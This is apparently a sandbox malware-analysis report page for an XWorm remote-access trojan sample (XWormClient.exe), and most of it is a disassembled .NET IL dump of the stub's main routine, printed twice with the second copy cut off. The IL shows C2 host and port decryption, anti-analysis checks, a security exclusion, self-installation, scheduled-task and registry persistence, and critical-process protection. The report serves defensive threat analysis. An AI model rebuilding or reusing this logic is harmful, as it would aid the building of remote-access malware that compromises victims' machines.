Malicious
Malicious

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Medium
1 malicious · 9 files
EXEca677587434b6362bf4c3273a346ae08XWorm
Structure
Config. Field Value
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Module Name
XWormClient.exe
Full Name
XWormClient.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
XWormClient.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
XWormClient
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
634
Main IL 
ldsfld System.Byte[] Stub.Uninstaller::Ⴃ
stloc.s V_32
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 592
ldc.i4 547
call System.Void Stub.AlgorithmAES::Ⴐ(System.Int32,System.Char,System.Char)
ldc.i4.8 <null>
stloc.s V_21
ldloc.s V_21
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 446
ldc.i4 489
call System.String Stub.AlgorithmAES::Ⴗ<System.Object>(System.Object,System.Int32,System.Int32)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 450
ldc.i4 405
call System.String Stub.AlgorithmAES::Ⴗ<System.Object>(System.Object,System.Int32,System.Int32)
stsfld System.String Settings::Port
ldc.i4.3 <null>
stloc.s V_21
br.s IL_0024: ldloc.s V_21
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 577
ldc.i4 534
call System.String Stub.AlgorithmAES::Ⴗ<System.Object>(System.Object,System.Int32,System.Int32)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 933
ldc.i4 1010
call System.String Stub.AlgorithmAES::Ⴗ<System.Object>(System.Object,System.Int32,System.Int32)
stsfld System.String Settings::SPL
ldc.i4.6 <null>
stloc.s V_21
br IL_0024: ldloc.s V_21
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 156
ldc.i4 203
call System.String Stub.AlgorithmAES::Ⴗ<System.Object>(System.Object,System.Int32,System.Int32)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 23
ldc.i4.s 64
call System.String Stub.AlgorithmAES::Ⴗ<System.Object>(System.Object,System.Int32,System.Int32)
stsfld System.String Settings::USBNM
ldc.i4.1 <null>
stloc.s V_21
br IL_0024: ldloc.s V_21
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 268
ldc.i4 347
call System.String Stub.AlgorithmAES::Ⴗ<System.Object>(System.Object,System.Int32,System.Int32)
ldc.i4 274
ldc.i4 321
call System.String Stub.ProcessCritical::Ⴀ<System.String>(System.String,System.Int32,System.Int32)
stsfld System.String Settings::InstallDir
ldc.i4.5 <null>
stloc.s V_21
br IL_0024: ldloc.s V_21
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 817
ldc.i4 870
call System.String Stub.AlgorithmAES::Ⴗ<System.Object>(System.Object,System.Int32,System.Int32)
stsfld System.String Settings::InstallStr
leave.s IL_0193: ldc.i4.3
dup <null>
ldc.i4 625
ldc.i4 524
call System.Void My.MyApplication::Ⴗ<System.Exception>(System.Exception,System.Int16,System.Int16)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4.s 59
ldc.i4.s 79
call System.Void Stub.AlgorithmAES::Ⴐ(System.Int32,System.Char,System.Char)
ldc.i4 610
ldc.i4 523
call System.Void Stub.AlgorithmAES::Ⴍ(System.Int16,System.Char)
leave.s IL_0193: ldc.i4.3
ldc.i4.3 <null>
stloc.s V_23
ldloc.s V_23
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴅ.Ⴍ::Ⴃ()
brtrue.s IL_01D1: ldc.i4.3
ldc.i4.5 <null>
stloc.s V_23
br.s IL_0196: ldloc.s V_23
ldc.i4.0 <null>
ldc.i4 568
ldc.i4 588
call System.Void Stub.AlgorithmAES::Ⴐ(System.Int32,System.Char,System.Char)
ldc.i4.3 <null>
stloc.s V_25
ldloc.s V_25
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.Main::RunAntiAnalysis()
leave.s IL_0219: ldc.i4.2
dup <null>
ldc.i4 985
ldc.i4 932
call System.Void My.MyApplication::Ⴗ<System.Exception>(System.Exception,System.Int16,System.Int16)
stloc.s V_4
ldc.i4 673
ldc.i4 712
call System.Void Stub.AlgorithmAES::Ⴍ(System.Int16,System.Char)
leave.s IL_0219: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_27
ldloc.s V_27
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.Main::Exclusion()
ldsfld System.String Settings::InstallDir
ldnull <null>
ldc.i4.1 <null>
ldc.i4 1190650318
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 504
ldc.i4 464
call System.String Stub.ProcessCritical::Ⴄ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Int32,System.Int32)
stloc.0 <null>
ldc.i4.2 <null>
stloc.s V_29
ldloc.s V_29
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 874
ldc.i4 887
call System.IO.DirectoryInfo My.MyApplication::Ⴓ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Char)
ldc.i4 209
ldc.i4 238
call System.String My.MyApplication::Ⴄ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Char,System.Char)
stloc.s V_5
ldc.i4.1 <null>
stloc.s V_29
br.s IL_0265: ldloc.s V_29
ldloc.s V_5
ldc.i4 1009
ldc.i4 934
call System.String Stub.AlgorithmAES::Ⴗ<System.Object>(System.Object,System.Int32,System.Int32)
ldc.i4.s 92
ldc.i4.s 86
call System.Boolean My.MyApplication::Ⴜ<System.String>(System.String,System.Char,System.Char)
ldsfld System.Int32[] Stub.Messages::Ⴐ
ldc.i4 312
ldsfld System.Int32[] Stub.Messages::Ⴐ
ldc.i4 312
ldelem.i4 <null>
ldsfld System.Int32[] Stub.Messages::Ⴐ
ldc.i4.s 71
ldelem.i4 <null>
and <null>
ldc.i4.5 <null>
and <null>
stelem.i4 <null>
brtrue.s IL_030A: ldc.i4.3
ldc.i4.s 9
stloc.s V_29
br IL_0265: ldloc.s V_29
ldc.i4.3 <null>
br.s IL_0303: stloc.s V_29
ldloc.s V_5
ldc.i4 526
ldc.i4 601
call System.String Stub.AlgorithmAES::Ⴗ<System.Object>(System.Object,System.Int32,System.Int32)
ldc.i4 776
ldc.i4 797
call System.IO.DirectoryInfo Stub.AlgorithmAES::ႥႠ<System.String>(System.String,System.Char,System.Int16)
pop <null>
ldc.i4.3 <null>
stloc.s V_29
br IL_0265: ldloc.s V_29
ldloc.0 <null>
isinst System.String
ldc.i4 355
ldc.i4 360
call System.Boolean My.MyApplication::Ⴜ<System.String>(System.String,System.Char,System.Char)
brfalse.s IL_0355: ldc.i4.0
ldc.i4.7 <null>
stloc.s V_29
br IL_0265: ldloc.s V_29
ldc.i4.0 <null>
br.s IL_034E: stloc.s V_29
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
ldloc.s V_6
isinst System.IO.FileInfo
ldc.i4 767
ldc.i4 753
call System.Void Stub.ProcessCritical::ႠႣ<System.IO.FileInfo>(System.IO.FileInfo,System.Int16,System.Int16)
ldc.i4 1000
ldc.i4 991
ldc.i4 940
call System.Void Stub.AlgorithmAES::Ⴐ(System.Int32,System.Char,System.Char)
ldloc.0 <null>
castclass System.String
ldsfld System.String Ⴅ.Ⴍ::Ⴍ
ldc.i4.s 54
ldc.i4.s 31
call System.Byte[] Stub.ProcessCritical::ႠႠ<System.String>(System.String,System.Int16,System.Int16)
ldc.i4 134
ldc.i4 173
call System.Void My.MyComputer::ႷႷ<System.String>(System.String,System.Byte[],System.Char,System.Int32)
leave.s IL_03D7: ldc.i4.0
dup <null>
ldc.i4 678
ldc.i4 731
call System.Void My.MyApplication::Ⴗ<System.Exception>(System.Exception,System.Int16,System.Int16)
stloc.s V_7
ldc.i4 149
ldc.i4 252
call System.Void Stub.AlgorithmAES::Ⴍ(System.Int16,System.Char)
leave.s IL_03D7: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_31
ldloc.s V_31
switch dnlib.DotNet.Emit.Instruction[]
ldnull <null>
ldc.i4.3 <null>
ldc.i4 1190650754
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_9
ldloc.s V_9
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.1 <null>
ldc.i4 426
ldc.i4 389
call System.Void Stub.Main::ႤႳ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Char,System.Char)
ldc.i4.1 <null>
stloc.s V_31
br.s IL_03DA: ldloc.s V_31
call System.String Stub.ClientSocket::UAC()
ldc.i4 168
ldc.i4 164
call System.Boolean My.MyApplication::Ⴜ<System.String>(System.String,System.Char,System.Char)
brfalse.s IL_045C: ldc.i4.3
ldloc.s V_32
ldc.i4 533
ldelem.u1 <null>
ldc.i4.s 64
sub <null>
stloc.s V_31
br IL_03DA: ldloc.s V_31
ldc.i4.3 <null>
br.s IL_0455: stloc.s V_31
ldloc.s V_9
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
isinst System.String[]
ldc.i4.0 <null>
ldnull <null>
ldc.i4.3 <null>
ldc.i4 1190650575
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldc.i4 271
ldc.i4 347
call System.String Stub.ProcessCritical::Ⴀ<System.String>(System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.2 <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4 1190651367
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.4 <null>
ldnull <null>
ldc.i4.5 <null>
ldc.i4 1190650521
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.s 55
ldc.i4.s 50
call System.String My.MyComputer::ႷႥ(System.String[],System.Char,System.Char)
ldc.i4 233
ldc.i4 253
call System.Void Stub.AlgorithmAES::ႠႣ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Char,System.Char)
ldc.i4.7 <null>
stloc.s V_31
br IL_03DA: ldloc.s V_31
ldloc.s V_9
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
isinst System.String[]
ldc.i4.0 <null>
ldnull <null>
ldc.i4.6 <null>
ldc.i4 1190651336
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldc.i4 256
ldc.i4 340
call System.String Stub.ProcessCritical::Ⴀ<System.String>(System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.2 <null>
ldnull <null>
ldc.i4.4 <null>
ldc.i4 1190651363
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.4 <null>
ldnull <null>
ldc.i4.2 <null>
ldc.i4 1190650526
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4 824
ldc.i4 829
call System.String My.MyComputer::ႷႥ(System.String[],System.Char,System.Char)
ldc.i4 477
ldc.i4 457
call System.Void Stub.AlgorithmAES::ႠႣ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Char,System.Char)
ldloc.s V_9
castclass System.Diagnostics.ProcessStartInfo
ldc.i4 521
ldc.i4 512
call System.Diagnostics.Process Stub.ProcessCritical::ႠႷ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Char,System.Char)
stloc.s V_8
ldloc.s V_8
castclass System.Diagnostics.Process
ldc.i4 587
ldc.i4 524
call System.Void Stub.Main::ႤႥ<System.Diagnostics.Process>(System.Diagnostics.Process,System.Char,System.Int16)
leave.s IL_05EC: ldc.i4.2
dup <null>
ldc.i4 876
ldc.i4 785
call System.Void My.MyApplication::Ⴗ<System.Exception>(System.Exception,System.Int16,System.Int16)
stloc.s V_10
ldc.i4.s 68
ldc.i4.s 45
call System.Void Stub.AlgorithmAES::Ⴍ(System.Int16,System.Char)
leave.s IL_05EC: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_34
ldloc.s V_34
switch dnlib.DotNet.Emit.Instruction[]
call My.MyComputer My.MyProject::Ⴐ()
ldc.i4.s 10
ldc.i4.3 <null>
call Microsoft.VisualBasic.MyServices.RegistryProxy My.MyComputer::ႣႭ<Microsoft.VisualBasic.Devices.ServerComputer>(Microsoft.VisualBasic.Devices.ServerComputer,System.Int16,System.Int32)
ldc.i4 494
ldc.i4 430
call Microsoft.Win32.RegistryKey Stub.Main::ႨႤ<Microsoft.VisualBasic.MyServices.RegistryProxy>(Microsoft.VisualBasic.MyServices.RegistryProxy,System.Int16,System.Int16)
ldnull <null>
ldc.i4.6 <null>
ldc.i4 1190649907
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
ldc.i4.1 <null>
ldc.i4 354
ldc.i4 374
call Microsoft.Win32.RegistryKey Stub.Main::ႤႷ<Microsoft.Win32.RegistryKey,System.String>(Microsoft.Win32.RegistryKey,System.String,System.Boolean,System.Char,System.Int16)
ldsfld System.String Settings::InstallStr
ldc.i4 545
ldc.i4 629
call System.String Stub.ProcessCritical::Ⴀ<System.String>(System.String,System.Int32,System.Int32)
ldloc.0 <null>
castclass System.String
ldc.i4 365
ldc.i4 350
call System.Void Stub.AlgorithmAES::ႥႼ<System.Object,Microsoft.Win32.RegistryKey,System.String>(Microsoft.Win32.RegistryKey,System.String,System.Object,System.Int16,System.Int16)
leave.s IL_068A: ldc.i4.0
dup <null>
ldc.i4 788
ldc.i4 873
call System.Void My.MyApplication::Ⴗ<System.Exception>(System.Exception,System.Int16,System.Int16)
stloc.s V_11
ldc.i4.s 52
ldc.i4.s 93
call System.Void Stub.AlgorithmAES::Ⴍ(System.Int16,System.Char)
leave.s IL_068A: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_36
ldloc.s V_36
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.7 <null>
ldc.i4 462
ldc.i4 447
call System.String Stub.AlgorithmAES::ႥႥ(System.Environment/SpecialFolder,System.Char,System.Char)
ldnull <null>
ldc.i4.6 <null>
ldc.i4 1190650313
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 641
ldc.i4 725
call System.String Stub.ProcessCritical::Ⴀ<System.String>(System.String,System.Int32,System.Int32)
ldnull <null>
ldc.i4.2 <null>
ldc.i4 1190651346
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
call System.String System.String::Concat(System.String,System.String,System.String,System.String)
stloc.s V_12
ldc.i4.7 <null>
stloc.s V_36
br.s IL_068D: ldloc.s V_36
ldnull <null>
ldc.i4.3 <null>
ldc.i4 1190651194
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
ldnull <null>
ldc.i4.8 <null>
ldc.i4 1190650268
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String)
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
ldc.i4 1190651176
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_15
ldloc.s V_15
castclass System.Object[]
ldc.i4.0 <null>
ldloc.s V_12
castclass System.String
stelem.ref <null>
ldloc.s V_15
castclass System.Object[]
stloc.s V_16
ldloc.s V_16
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_17
ldloc.s V_17
isinst System.Boolean[]
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_17
castclass System.Boolean[]
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
ldloc.s V_17
castclass System.Boolean[]
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_07A1: stloc.s V_18
ldloc.s V_16
isinst System.Object[]
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_12
stloc.s V_18
ldloc.s V_18
ldnull <null>
ldnull <null>
ldc.i4.4 <null>
ldc.i4 1190651166
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
castclass System.Object[]
ldc.i4.0 <null>
ldloc.0 <null>
castclass System.String
stelem.ref <null>
ldloc.s V_19
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.4 <null>
stloc.s V_36
br IL_068D: ldloc.s V_36
ldloc.s V_18
ldnull <null>
ldnull <null>
ldc.i4.6 <null>
ldc.i4 1190651145
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
isinst System.Object[]
ldc.i4.0 <null>
ldnull <null>
ldc.i4.2 <null>
ldc.i4 1190650262
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_19
castclass System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.3 <null>
stloc.s V_36
br IL_068D: ldloc.s V_36
ldloc.s V_18
ldnull <null>
ldnull <null>
ldc.i4.5 <null>
ldc.i4 1190651035
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldc.i4.8 <null>
stloc.s V_36
br IL_068D: ldloc.s V_36
ldnull <null>
stloc.s V_18
ldloc.s V_12
isinst System.String
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Ⴅ.Ⴍ::Ⴍ
leave.s IL_0872: ldc.i4.4
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_13
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0872: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_38
ldloc.s V_38
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Ⴅ.Ⴍ::Ⴐ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_08C8: ldc.i4.3
ldc.i4.7 <null>
stloc.s V_38
br.s IL_0875: ldloc.s V_38
ldc.i4.3 <null>
br.s IL_08C4: stloc.s V_38
call System.Void Stub.ProcessCritical::CriticalProcess_Enable()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldc.i4.0 <null>
stloc.s V_38
br IL_0875: ldloc.s V_38
ldloc.1 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
Module Name
XWormClient.exe
Full Name
XWormClient.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
XWormClient.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
XWormClient
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
634
Main IL 
ldsfld System.Byte[] Stub.Uninstaller::Ⴃ
stloc.s V_32
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 592
ldc.i4 547
call System.Void Stub.AlgorithmAES::Ⴐ(System.Int32,System.Char,System.Char)
ldc.i4.8 <null>
stloc.s V_21
ldloc.s V_21
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 446
ldc.i4 489
call System.String Stub.AlgorithmAES::Ⴗ<System.Object>(System.Object,System.Int32,System.Int32)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 450
ldc.i4 405
call System.String Stub.AlgorithmAES::Ⴗ<System.Object>(System.Object,System.Int32,System.Int32)
stsfld System.String Settings::Port
ldc.i4.3 <null>
stloc.s V_21
br.s IL_0024: ldloc.s V_21
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 577
ldc.i4 534
call System.String Stub.AlgorithmAES::Ⴗ<System.Object>(System.Object,System.Int32,System.Int32)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 933
ldc.i4 1010
call System.String Stub.AlgorithmAES::Ⴗ<System.Object>(System.Object,System.Int32,System.Int32)
stsfld System.String Settings::SPL
ldc.i4.6 <null>
stloc.s V_21
br IL_0024: ldloc.s V_21
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 156
ldc.i4 203
call System.String Stub.AlgorithmAES::Ⴗ<System.Object>(System.Object,System.Int32,System.Int32)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 23
ldc.i4.s 64
call System.String Stub.AlgorithmAES::Ⴗ<System.Object>(System.Object,System.Int32,System.Int32)
stsfld System.String Settings::USBNM
ldc.i4.1 <null>
stloc.s V_21
br IL_0024: ldloc.s V_21
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 268
ldc.i4 347
call System.String Stub.AlgorithmAES::Ⴗ<System.Object>(System.Object,System.Int32,System.Int32)
ldc.i4 274
ldc.i4 321
call System.String Stub.ProcessCritical::Ⴀ<System.String>(System.String,System.Int32,System.Int32)
stsfld System.String Settings::InstallDir
ldc.i4.5 <null>
stloc.s V_21
br IL_0024: ldloc.s V_21
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 817
ldc.i4 870
call System.String Stub.AlgorithmAES::Ⴗ<System.Object>(System.Object,System.Int32,System.Int32)
stsfld System.String Settings::InstallStr
leave.s IL_0193: ldc.i4.3
dup <null>
ldc.i4 625
ldc.i4 524
call System.Void My.MyApplication::Ⴗ<System.Exception>(System.Exception,System.Int16,System.Int16)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4.s 59
ldc.i4.s 79
call System.Void Stub.AlgorithmAES::Ⴐ(System.Int32,System.Char,System.Char)
ldc.i4 610
ldc.i4 523
call System.Void Stub.AlgorithmAES::Ⴍ(System.Int16,System.Char)
leave.s IL_0193: ldc.i4.3
ldc.i4.3 <null>
stloc.s V_23
ldloc.s V_23
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴅ.Ⴍ::Ⴃ()
brtrue.s IL_01D1: ldc.i4.3
ldc.i4.5 <null>
stloc.s V_23
br.s IL_0196: ldloc.s V_23
ldc.i4.0 <null>
ldc.i4 568
ldc.i4 588
call System.Void Stub.AlgorithmAES::Ⴐ(System.Int32,System.Char,System.Char)
ldc.i4.3 <null>
stloc.s V_25
ldloc.s V_25
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.Main::RunAntiAnalysis()
leave.s IL_0219: ldc.i4.2
dup <null>
ldc.i4 985
ldc.i4 932
call System.Void My.MyApplication::Ⴗ<System.Exception>(System.Exception,System.Int16,System.Int16)
stloc.s V_4
ldc.i4 673
ldc.i4 712
call System.Void Stub.AlgorithmAES::Ⴍ(System.Int16,System.Char)
leave.s IL_0219: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_27
ldloc.s V_27
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.Main::Exclusion()
ldsfld System.String Settings::InstallDir
ldnull <null>
ldc.i4.1 <null>
ldc.i4 1190650318
call System.String My.MyComputer::Ⴅ(System.Reflection.Assembly,System.Int32,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 504
ldc.i4 464
call System.String Stub.ProcessCritical::Ⴄ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Int32,System.Int32)
stloc.0 <null>
ldc.i4.2 <null>
stloc.s V_29
ldloc.s V_29
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 874
ldc.i4 887
call System.IO.DirectoryInfo My.MyApplication::Ⴓ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Char)
ldc.i4 209
ldc.i4 238
call System.String My.MyApplication::Ⴄ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Char,System.Char)
stloc.s V_5
ldc.i4.1 <null>
stloc.s V_29
br.s IL_0265: ldloc.s V_29
ldloc.s V_5
ldc.i4 1009
ldc.i4 934
call System.String Stub.AlgorithmAES::Ⴗ<System.Object>(System.Object,System.Int32,System.Int32)
ldc.i4.s 92
ldc.i4.s 86
call System.Boolean My.MyApplication::Ⴜ<System.String>(System.String,System.Char,System.Char)
ldsfld System.Int32[] Stub.Messages::Ⴐ
ldc.i4 312
ldsfld System.Int32[] Stub.Messages::Ⴐ
ldc.i4 312
ldelem.i4 <null>
ldsfld System.Int32[] Stub.Messages::Ⴐ
ldc.i4.s 71
ldelem.i4 <null>
and <null>
